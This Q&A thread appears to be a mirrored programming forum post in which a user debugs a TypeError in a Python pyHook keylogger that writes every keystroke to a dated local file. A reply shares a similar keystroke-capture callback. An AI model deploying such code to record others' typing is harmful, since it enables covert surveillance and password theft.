0

I wrote a script:

    import pythoncom, pyHook
    import time
    from time import strftime,localtime

    def OKBE(event):

            log =str("log "+str(time.strftime("%d,%B",localtime()))+".txt")
            f=open(str(log),"a")

            if(str(event.Ascii)=="8"):
                f.write("<--")
                print("<--")
            elif(str(event.Ascii)=="13"):
                f.write("\nENTER "+str(time.strftime("%H,%M",localtime()))+"\n")

                print("\nENTER\n")
            elif(str(event.Ascii)=="32"):
                f.write(" ")
            else:
                f.write(chr(event.Ascii))
                print(str(event.Ascii))
                print(chr(event.Ascii))


    manager = pyHook.HookManager()
    manager.KeyDown = OKBE
    manager.HookKeyboard()
    pythoncom.PumpMessages()

but any time the event is a or p and some other letters i get this error:

Traceback (most recent call last):
File "C:\Python27\lib\site-packages\pyHook\HookManager.py", line 351, in KeyboardSwitch
return func(event)
File "C:\Users\Miran\Desktop\Pythonprojekt\Keylogger\keylogger.pyw", line 10, in OKBE
log =str("log "+str(time.strftime("%d,%B",localtime()))+".txt")
TypeError: an integer is required 

Anyone knows why?

4

2 回答 2

0

Event is a class (or should i say, instance of a class), you can call information from the instance (see code below) such as 'event.key' will give you the ASCII character code. event.alt will return the status of the 'alt' key.

I remember dealing with a similar issue when writing a python keylogger (although it has been an age). I cant see anything immediately wrong with your code. My 'OKBE' function looked more like this.

def OnKeyboardEvent(self, event):
    if (event.Ascii > 31 and event.Ascii < 127) or event.Ascii == 13 or event.Ascii == 9:
        data = (event.WindowName, event.Window, event.Time, event.Ascii, event.Key, event.Alt)
        print data # debugging

I believe using the above method catches most (if not all) of the usual keystrokes. Using that function above i created a class with other logging functions.

If you need anything else, or work out whats going on in your code, let me know :)

于 2016-02-12T15:10:14.763 回答
0

I think the issue is a bug... when i replace

log =str("log "+str(time.strftime("%d,%B",localtime()))+".txt") by log="log.txt"

anything works fine

于 2016-02-12T20:13:51.133 回答